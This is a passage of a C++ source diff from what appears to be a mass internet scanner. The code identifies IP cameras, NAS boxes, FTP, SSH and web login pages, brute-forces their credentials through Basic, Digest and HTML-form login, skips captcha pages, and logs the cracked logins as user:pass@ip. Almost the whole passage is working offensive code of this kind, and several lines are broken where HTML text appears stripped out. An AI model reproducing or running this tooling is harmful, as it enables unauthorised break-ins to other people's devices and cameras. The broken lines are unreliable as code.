pos = strstri(field, vecPass[j].data()); + if(pos != NULL) + { + strncpy(buff, field, 128); + return; + }; + }; + }; + }; +}; +void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) +{ + char cookie[1024] = {0}; + + if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Captcha detected."); + }; + return; + }; + OnLiner = 1; + + char b[16] = {0}; + char methodVal[128] = {0}; + char actionVal[128] = {0}; + char userVal[128] = {0}; + char passVal[128] = {0}; + char frmBlock[4096] = {0}; + char *fBlock = strstri(buff, " inputVec; + if(fBlock != NULL) + { + char *fBlock2 = strstri(fBlock, ">"); + int szfb2 = fBlock2 - fBlock; + strncpy(formVal, fBlock, (szfb2 < 128 ? szfb2 : 128)); + char *frmBlockEnd = strstri(fBlock, ""); + if(frmBlockEnd != NULL) + { + fbsz = frmBlockEnd - fBlock; + strncpy(frmBlock, fBlock, (fbsz < 4096 ? fbsz : 4096)); + } + else + { + strncpy(frmBlock, fBlock, 4096); + }; + + _getFormVal(frmBlock, methodVal, "method"); + _getFormVal(frmBlock, actionVal, "action"); + if(actionVal[0] == '.') + { + char tmpBuff[512] = {0}; + char *tempPtr1 = FindLastOcc(path, "/"); + int sz = tempPtr1 - path; + if(sz > 0) + { + strncpy(tmpBuff, path, sz); + strncat(tmpBuff, actionVal + 1, strlen(actionVal) - 1); + ZeroMemory(actionVal, sizeof(actionVal)); + strcpy(actionVal, tmpBuff); + }; + }; + + char *inptPtr1 = strstri(frmBlock, ""); + if(inptPtrEnd != NULL) + { + insz = inptPtrEnd - inptPtr1 + 1; + strncpy(tempInptStr, inptPtr1, (insz < 128 ? insz : 128)); + if(strstri(tempInptStr, "text") != NULL || strstri(tempInptStr, "password") != NULL ) + { + inputVec.push_back(std::string(tempInptStr)); + }; + inptPtr1 = strstri(inptPtrEnd, "doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: No text/password fields found."); + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find form block."); + }; + + if(strlen(methodVal) == 0) + { + strcpy(methodVal, "GET"); + }; + if(strlen(actionVal) == 0) + { + strcpy(actionVal, "/"); + } + else + { + if(strstri(actionVal, "http") != NULL) + { + char tmp[128] = {0}; + strncpy(tmp, actionVal, 128); + if(strstr(tmp, "//") != NULL) + { + char *tmp1 = strstr(tmp, "//"); + char *tmp2 = strstr(tmp1 + 2, "/"); + ZeroMemory(actionVal, 128); + if(tmp2 != NULL) + { + strncpy(actionVal, tmp2, strlen(tmp2)); + } + else + { + strcpy(actionVal, "/"); + }; + } + else if(strstr(tmp, "%2f%2f") != NULL) + { + char *tmp1 = strstr(tmp, "%2f%2f"); + char *tmp2 = strstr(tmp1 + 6, "%2f"); + ZeroMemory(actionVal, 128); + if(tmp2 != NULL) + { + strcpy(actionVal, "/"); + strncpy(actionVal, tmp2 + 3, strlen(tmp2) - 3); + } + else + { + strcpy(actionVal, "/"); + }; + }; + }; + if(actionVal[0] != '/') + { + char temp[128] = {0}; + strncpy(temp, actionVal, 128); + strcpy(actionVal, "/"); + strncat(actionVal, temp, strlen(temp)); + }; + }; + + if(inputVec.size() > 0) + { + if(strlen(userVal) != 0 && strlen(passVal) != 0) + { + Connector con; + lopaStr lps = con._WFLobby(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + + char tport[16] = {0}; + strcpy(tport, itoa(port, b, 10)); + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerWF(hl, ip, tport, title, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, lps.login, lps.pass, comment, cp, "Web Form"); + + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find user/pass field."); + }; + }; +}; +void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *tclass, char *cp, int recd, char *SPEC) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char tport[32] = {0}; + char b[16] = {0}; + strcpy(tport, ":"); + strcat(tport, itoa(port, b, 10)); + Connector con; + lps = con._IPCameraBLobby(ip, port, SPEC); + + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); + + }; +}; +void _specBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data) +{ + OnLiner = 1; + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char temp[64] = {0}; + char tport[32] = {0}; + char b[16] = {0}; + strcpy(tport, ":"); + strcat(tport, itoa(port, b, 10)); + Connector con; + + if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(ip, port, path, "[DIGEST]", data); + else lps = con._BALobby(ip, port, path, "[NORMAL]", ""); + + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); + + }; + + ZeroMemory(temp, strlen(temp)); +}; +const char *GetTitle(char* str) +{ + char delimiterT[] = ""; + char delimiterT2[] = "<title id=\"title\">"; + char *firstStr, *secondStr, finalstr[512] = {0}; + + if (strstri(str, "realm") != NULL) + { + if (strstr(str, "\"") != NULL) + { + int hm; + firstStr = strstr(str, "\""); + if(strstr((firstStr+1), "\"") != NULL) + { + secondStr = strstr((firstStr+1), "\""); + hm = (int)(secondStr-firstStr); + } + else hm = 10; + if(hm > 127) hm = 20; + strncat(finalstr, firstStr, hm+1); + }; + }; + + if(strlen(finalstr) != 0) strcat(finalstr, "::"); + + if(strstri(str, "<card") != NULL) + { + char *str1 = strstri(str, "<card"); + if(strstri(str1, "title=") != NULL) + { + char *str2 = strstri(str1, "title="); + if(strstri(str2, ">") != NULL) + { + char *str3 = strstri(str2, ">"); + + int y = str3 - str2; + if(y > 256) + { + strcpy(finalstr, "[Title: Strange title]"); + } + else + { + strncat(finalstr, (char*)(str2 + strlen("title=")), y); + strcat(finalstr, " += "); + }; + }; + }; + }; + + if(strstri(str, "<title>") != NULL) + { + if(strstri(str, "<title>") != NULL) firstStr = strstri(str, "<title>"); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + else + { + strcat(finalstr, "[Title: Corrupted title]"); + return finalstr; + }; + int hm = (int)(secondStr - firstStr); + if(hm > 256) hm = 20; + strncat(finalstr, firstStr + 7, hm - 7); + + if(strstri(finalstr, "index of /") != NULL) + { + int hm = 0; + strcat(finalstr, " ("); + if(strstri(firstStr, "description") != NULL) firstStr = strstri(firstStr, "description"); + if(strstri(firstStr, "") != NULL && strlen(finalstr) < 480) + { + if(iterCount++ > 4 || strlen(finalstr) > 300) break; + if(strstr(firstStr, "\">") != NULL) firstStr = strstr(firstStr, "\">"); + else break; + secondStr = strstri(firstStr, ""); + + hm = (int)(secondStr-firstStr); + if(hm > 16) hm = 16; + + strncat(finalstr, firstStr + 2, hm - 2); + strcat(finalstr, " "); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + else + { + strcpy(finalstr, "[Title: Corrupted title]"); + return finalstr; + }; + int hm = (int)(secondStr-firstStr); + if(hm > 127) hm = 30; + strncat(finalstr, firstStr+18, hm-18); + } + else if(strstri(str, delimiterT) != NULL) + { + firstStr = strstri(str, delimiterT); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + int hm = (int)(secondStr-firstStr); + if(hm > 127) hm = 30; + strncat(finalstr, firstStr+20, hm-20); + }; + + return finalstr; +}; +int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) +{ + char b[16] = {0}; + + if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; + if(strstri(buffcpy, "404 not found") != NULL || strstri(buffcpy, "404 file not found") != NULL) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + "" + "] Negative hit: \"" + QString::fromLocal8Bit("404 Not Found").toHtmlEscaped() + "\""); + }; + ++Filt; + return -1; + }; + if(p == 22) + { + flag = -22; + char log[2048] = {0}; + char logEmit[2048] = {0}; + char goodStr[256] = {0}; + char banner[256] = {0}; + + char *ptr1 = strstr(buffcpy, "|+|"); + int gsz = ptr1 - buffcpy; + strncpy(goodStr, buffcpy, gsz); + if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3); + strcpy(logEmit, "[SSH] "); + strcpy(log, "[SSH] "); + strcat(log, goodStr); + strcat(log, ""); + strcat(log, "; Banner: "); + strcat(log, banner); + strcat(log, ""); + + ++PieSSH; + + strcat(logEmit, ""); + strcat(logEmit, goodStr); + strcat(logEmit, ""); + + fputsf (ip, itoa(p, b, 10), log, flag, "SSH"); + + char loginSSH[128] = {0}; + char passSSH[128] = {0}; + char *ptrl1 = strstr(buffcpy, ":"); + int lpsz = ptrl1 - buffcpy; + strncpy(loginSSH, buffcpy, lpsz); + char *ptrl2 = strstr(buffcpy, "@"); + lpsz = ptrl2 - ptrl1; + strncpy(passSSH, ptrl1 + 1, lpsz); + fillGlobalLogData(ip, hl, itoa(p, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); + + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + }; + lopaStr lps; + PathStr ps; + strcpy(ps.ip, ip); + ZeroMemory(ps.headr, sizeof(ps.headr)); + ZeroMemory(ps.path, sizeof(ps.path)); + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char finalstr[TITLE_MAX_LENGTH] = {0}; + char cp[32] = {0}; + strcpy(cp, "utf-8"); + char port[32] = {0}; + strcpy(port, ":"); + strcat(port, itoa(p, b, 10)); + int flag = 0; + + flag = ContentFilter(buffcpy, p, ip); + + if(flag == -1 ) return -1; + + strcpy(ps.headr, GetTitle(buffcpy)); + ps.flag = flag; + char pps[256] = {0}; + strcpy(pps, "/"); + + std::vector redirStrLst; + char rBuff[65536] = {0}; + strncpy(rBuff, buffcpy, 65535); + if(flag == 0 || flag == 3 || flag == 7 ) + { + int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff); + strcpy(cp, ps.codepage); + if(rh <= -2) + { + flag = ps.flag; + strcat(finalstr, ps.headr); + p = ps.port; + strcpy(ip, ps.ip); + }; + + int sz = strlen(ps.path); + strncpy(pps, ps.path, (sz < 256 ? sz : 256)); + }; + if(strlen(finalstr) != 0) strcat(finalstr, " -> "); + if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); + if(strstr(finalstr, "Error - Bad Address") != NULL) flag = 5; + else if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; + + fillerFlag = 1; +#pragma region Fillers + + if(flag == 16) + { + Connector con; + OnLiner = 1; + + char log[2048] = {0}; + char logEmit[2048] = {0}; + + strcpy(logEmit, "[FTP] "); + strcpy(log, "[FTP] "); + strcat(log, ip); + strcat(log, port); + strcat(log, ""); + strcat(log, "; Received: "); + strncat(log, std::to_string((long double)recd).c_str(), 100); + + BConInc(); + lps = con._ftpBrute(ip, p, &ps); + BConDec(); + + if(strstr(lps.other, "ROUTER") != NULL) + { + ++PieBA; + strcat(log, "ftp://"); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, " [ROUTER]"); + strcat(log, ps.headr); + + strcat(logEmit, "ftp://"); + strcat(logEmit, lps.login); + strcat(logEmit, ":"); + strcat(logEmit, lps.pass); + strcat(logEmit, "@"); + strcat(logEmit, ip); + strcat(logEmit, " [ROUTER]"); + + fputsf (ip, port, log, flag, "FTP"); + + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP"); + + + #pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + } + else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + ++PieBA; + strcat(log, "ftp://"); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, ""); + strcat(log, ps.headr); + + strcat(logEmit, "ftp://"); + strcat(logEmit, lps.login); + strcat(logEmit, ":"); + strcat(logEmit, lps.pass); + strcat(logEmit, "@"); + strcat(logEmit, ip); + strcat(logEmit, ""); + + fputsf(ip, port, log, flag, "FTP"); + + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP"); + + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + } + else if(strstr(lps.login, "Unknown protocol") != NULL) + { + strcat(log, "; [!] USER/PASS commands failed. Dunno what to do."); + fputsf(ip, port, log, flag, ""); + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + }; + } + else if(flag == 21) //Eyeon + { + _specBrute(ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Eyeon Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 22) //IP Camera control + { + _specBrute(ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "IP Camera Control", "Basic Authorization", cp, recd, ""); + } + else if(flag == 23) //Network Camera BB-SC384 + { + _specBrute(ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Network Camera BB-SC384", "Basic Authorization", cp, recd, ""); + } + else if(flag == 24) //Network Camera VB-M40 + { + _specBrute(ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-M40", "Basic Authorization", cp, recd, ""); + } + else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera + { + _specBrute(ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 26) //Sony Network Camera + { + _specBrute(ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Sony Network Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 27) //UA Network Camera + { + _specBrute(ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "UA Network Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 28) //Network Camera VB-M40 + { + _specBrute(ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-??", "Basic Authorization", cp, recd, ""); + } + else if(flag == 29) //LG Smart IP Device + { + _specBrute(ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "LG Smart IP Device Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 30) //NAS + { + _specBrute(ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "NAS", "Basic Authorization", cp, recd, ""); + } + else if(flag == 31) //ip cam + { + _specBrute(ip, p, hl, "IP CAMERA", flag, "/check_user.cgi", "IP CAMERA", "Basic Authorization", cp, recd, ""); + } + else if(flag == 32) //IPC WEB ip cam + { + _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP CAMERA", flag, "[IPC] WEB IP CAMERA", "WEB Authorization", cp, recd, "IPC"); + } + else if(flag == 33) //GEOvision ip cam + { + _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP CAMERA", flag, "[GEO] WEB IP CAMERA", "WEB Authorization", cp, recd, "GEO"); + } + else if(flag == 20) //AXIS Camera + { + _specBrute(ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 19) //reecam cameras + { + _specBrute(ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "ReeCam camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 18) //linksys camera + { + _specBrute(ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Linksys camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 17) //Real-time IP Camera Monitoring System + { + _specBrute(ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Real-time IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 11) + { + _specBrute(ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Netwave IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 12) + { + _specBrute(ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 13) + { + _specBrute(ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 14) + { + _specBrute(ip, p, hl, "IP Camera", flag, "/rdr.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 15) //For HFS + { + char temp[64] = {0}; + char log[512] = {0}; + Connector con; + OnLiner = 1; + ++AnomC1; + + strcpy(log, "[HFS] "); + strcat(log, hl); + strcat(log, " :: "); + strcat(log, ip); + strcat(log, port); + strcat(log, " Title: "); + strcat(log, finalstr); + strcat(log, " Pass: "); + lps = con._BALobby(ip, p, "/~login", "[NORMAL]", ""); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, ""); + + + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization"); + + + fputsf (ip, port, log , flag, "HFS"); +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + } + else if(flag == 1) + { + _specBrute(ip, p, hl, finalstr, flag, pps, "[NORMAL]", "Basic Authorization", cp, recd, ""); + } + else if(flag == 101) + { + _specBrute(ip, p, hl, finalstr, flag, pps, "[DIGEST]", "Basic Authorization", cp, recd, buffcpy); + } + else if(flag == 10) + { + _specWFBrute(ip, p, hl, rBuff, flag, pps, "Web Form", "Web Form", cp, recd, finalstr); + } + else + { + putInFile(flag, ip, port, recd, finalstr, hl, cp); + }; +#pragma endregion + fillerFlag = 0; + + return flag; +}; +int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst, char *buff) +{ + if(ls->iterationCount++ == 5) + { + ls->iterationCount = 0; + + strcpy(ps->headr, "[!][Loop detected.]"); + strcpy(ps->path, ""); + + return 0; + }; + + const char *buff1 = "GET "; + const char *buff2 = " HTTP/1.1\r\nHost: "; + const char *buff3 = "\r\nCookie:"; + const char *buff4 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; + + Connector con; + char tempIP[MAX_ADDR_LEN] = {0}; + int tempPort = 80; + char tempPath[1024] = {0}; + char mes[2048]= {0}; + + char redirText1[512] = {"[Redirect: ] http://"}; + char redirText2[512] = {"[Redirect: ] \"http://"}; + char redirText3[512] = {"[Redirect: ] 'http://"}; + int redirSize = 0; + + if(strstri(str, redirText1) != NULL) redirSize = strlen(redirText1); + if(strstri(str, redirText2) != NULL) redirSize = strlen(redirText2); + if(strstri(str, redirText3) != NULL) redirSize = strlen(redirText3); + + if(strstr(str, "https://") != NULL) + { + tempPort = 443; +#pragma region Searcher + if(strstr(str, "[Redirect: ] ") != NULL) str = (char*)(strstr(str, "[Redirect: ] ") + strlen("[Redirect: ] ")); + + if(strstri((char*)(str + strlen("https://")), "/") != NULL) redirSize = strlen(strstri((char*)(str + strlen("https://")), "/")); + + if(strstri(strstr(str, "https://") + strlen("https://") + 1, "/") != NULL) //tempIP search + { + int res1 = strlen(str); + int res2 = res1; + char *tempT = strstr(str, "https://"); + + char *ptr1 = strstr(str, "https://"); + int sz1 = strlen("https://"); + + if(strstri(ptr1 + sz1 + 1, "/") != NULL) + { + char *tempT2 = strstr(ptr1 + sz1 + 1, "/"); + + res1 = tempT2 - tempT; + } + + if(strstri(ptr1 + sz1 + 1, "?") != NULL) + { + char *tempT2 = strstr(ptr1 + sz1 + 1, "?"); + + res2 = tempT2 - tempT; + }; + + if(res1 < res2) + { + strncpy(tempIP, (char*)(str + sz1), res1 - sz1); + } + else if(res1 > res2) + { + strncpy(tempIP, (char*)(str + sz1), res2 - sz1); + } + else + { + strncpy(tempIP, str + redirSize, (int)(strlen(str) - redirSize) ); + }; + + if(strstr(ptr1 + sz1 + 1, "')") != NULL) //JARedirect? + { + strncpy(tempIP, str + redirSize + 1, + (int)(strlen(str) - strlen(strstr(ptr1 + sz1 + 1, "/")) - redirSize) - 1 ); + }; + } + else if(strstri(strstr(str, "https://") + strlen("https://") + 1, "?") != NULL) + { + strncpy(tempIP, str + redirSize, + strstri(strstr(str, "https://") + strlen("https://"), "?") - str - redirSize ); + } + else if(strstri(strstr(str, "https://") + strlen("https://") + 1, "\"") != NULL) + { + strncpy(tempIP, str + redirSize, + strstri(strstr(str, "https://") + strlen("https://"), "\"") - str - redirSize ); + } + else if(strstri(strstr(str, "https://") + strlen("https://") + 1, "\n") != NULL) + { + strncpy(tempIP, str + redirSize, + strstri(strstr(str, "https://") + strlen("https://"), "\n") - str - redirSize ); + } + else if(strstri(strstr(str, "https://") + strlen("https://") + 1, "')") != NULL) + { + strncpy(tempIP, str + redirSize, + strstri(strstr(str, "https://") + strlen("https://"), "')") - str - redirSize ); + } + else + { + strcpy(tempIP, strstr(str, "https://") + strlen("https://")); + }; + + char *temp1 = strstr(str, "https://"); + + if(strstri(temp1 + strlen("https://") + 1, "/") != NULL) + { + char *temp2 = strstri(temp1 + strlen("https://") + 1, "/"); + if( strstri(temp2, "')") ) + { + strncpy(tempPath, strstri(temp1 + strlen("https://"), "/"), strlen(temp2) - strlen(strstri(temp2, "')"))); + } + else if( strstri(temp2, "\n") ) + { + strncpy(tempPath, temp2, strlen(temp2) - strlen(strstri(temp2, "\n"))); + } + else strcpy(tempPath, temp2); + } + else if(strstri(strstr(str, "https://") + strlen("https://") + 1, "?") != NULL) //Path search + { + char *temp2 = strstri(temp1 + strlen("https://") + 1, "?"); + if( strstri(temp2, "')") ) + { + strncpy(tempPath, strstri(temp1 + strlen("https://"), "?"), strlen(temp2) - strlen(strstri(temp2, "')"))); + } + else if( strstri(temp2, "\n") ) + { + strncpy(tempPath, temp2, strlen(temp2) - strlen(strstri(temp2, "\n"))); + } + else strcpy(tempPath, temp2); + } + else strcpy(tempPath, "/"); + + if(strstri(tempIP, ":") != NULL) //Port detected + { + char tmpIP[512] = {0}; + strcpy(tmpIP, tempIP); + ZeroMemory(tempIP, sizeof(tempIP)); + int sz = strlen(tmpIP) - strlen(strstri(tmpIP, ":")); + strncpy(tempIP, tmpIP, sz); + tempPort = atoi(strstri(tmpIP, ":") + 1); + }; + +#pragma endregion + + if(strlen(tempIP) == 0) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + + return 0; + }; + + char b[16] = {0}; + strcpy(mes, buff1); + + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, buff2); + strcat(mes, tempIP); + if(strlen(cookie) != 0) + { + strcat(mes, buff3); + strcat(mes, cookie); + }; + strcat(mes, buff4); + + char head[TITLE_MAX_LENGTH] = {0}; + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishSSLConnection(tempIP, tempPort, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + + ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return 0; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + ps->port = tempPort; + strcpy(ps->ip, tempIP); + + delete []cstr.lowerBuff; + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->port = tempPort; + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + + return 0; + } + else if(strstr(str, "http://") != NULL) //http + { +#pragma region Searcher + if(strstr(str, "[Redirect: ] ") != NULL) str = (char*)(strstr(str, "[Redirect: ] ") + strlen("[Redirect: ] ")); + + int sz1 = strlen("http://"); + char *ptr1 = strstr(str, "http://"); + if(strstr((char*)(str + sz1), "/") != NULL) redirSize = strlen(strstri((char*)(str + sz1), "/")); + if(strstr(ptr1 + sz1 + 1, ":") != NULL + && strlen(strstr(ptr1 + sz1 + 1, ":")) > 1 + && strstr(ptr1 + sz1 + 1, "http:") == NULL + ) //Port search + { + char temp[512] = {0}; + int range = 0; + + char *ptr2 = strstr(ptr1 + sz1, ":"); + + if(strstr(ptr2 + 1, "/") != NULL) + { + range = strstr(ptr2 + 1, "/") - ptr2 - 1; + strncpy(temp, ptr2 + 1, range > 512 ? 511 : range); + } + else strcpy(temp, ptr2 + 1); + + char *str1 = ptr1; + + tempPort = atoi(temp); + strncpy(tempIP, ptr1 + sz1, ptr2 - str1 - sz1); + } + else if(strstr(ptr1 + sz1 + 1, "/") != NULL) //tempIP search + { + int res1 = strlen(str); + int res2 = res1; + char *tempT = ptr1; + + if(strstr(ptr1 + sz1 + 1, "/") != NULL) + { + char *tempT2 = strstr(ptr1 + sz1 + 1, "/"); + + res1 = tempT2 - tempT; + } + + if(strstr(ptr1 + sz1 + 1, "?") != NULL) + { + char *tempT2 = strstr(ptr1 + sz1 + 1, "?"); + + res2 = tempT2 - tempT; + }; + + if(res1 < res2) + { + strncpy(tempIP, (char*)(str + sz1), res1 - sz1); + } + else if(res1 > res2) + { + strncpy(tempIP, (char*)(str + sz1), res2 - sz1); + } + else + { + strncpy(tempIP, str + redirSize, (int)(strlen(str) - redirSize) ); + }; + + if(strstr(ptr1 + sz1 + 1, "')") != NULL) //JARedirect? + { + strncpy(tempIP, str + redirSize + 1, + (int)(strlen(str) - strlen(strstr(ptr1 + sz1 + 1, "/")) - redirSize) - 1 ); + } + tempPort = port; + } + else if(strstr(ptr1 + sz1 + 1, "?") != NULL) + { + tempPort = port; + int szH = strstr(ptr1 + sz1, "?") - str - redirSize - sz1; + if(szH > 0) strncpy(tempIP, str + redirSize + sz1, szH); + else strcpy(tempIP, ip); + } + else if(strstr(ptr1 + sz1 + 1, "\"") != NULL) + { + tempPort = port; + strncpy(tempIP, str + redirSize + sz1, + strstr(ptr1 + sz1, "\"") - str - redirSize - sz1); + } + else if(strstr(ptr1 + sz1 + 1, "\n") != NULL) + { + tempPort = port; + strncpy(tempIP, str + redirSize + sz1, + strstr(ptr1 + sz1, "\n") - str - redirSize - sz1); + } + else if(strstr(ptr1 + sz1 + 1, "')") != NULL) + { + tempPort = port; + strncpy(tempIP, str + redirSize + sz1, + strstr(ptr1 + sz1, "')") - str - redirSize - sz1); + } + else + { + tempPort = port; + strcpy(tempIP, ptr1 + sz1); + }; + + char *temp1 = ptr1; + + if(strstr(temp1 + sz1 + 1, "/") != NULL) + { + char *temp2 = strstr(temp1 + sz1 + 1, "/"); + if( strstr(temp2, "')") ) + { + strncpy(tempPath, strstr(temp1 + sz1, "/"), strlen(temp2) - strlen(strstr(temp2, "')"))); + } + else if( strstr(temp2, "\n") ) + { + strncpy(tempPath, temp2, strlen(temp2) - strlen(strstr(temp2, "\n"))); + } + else strcpy(tempPath, temp2); + } + else 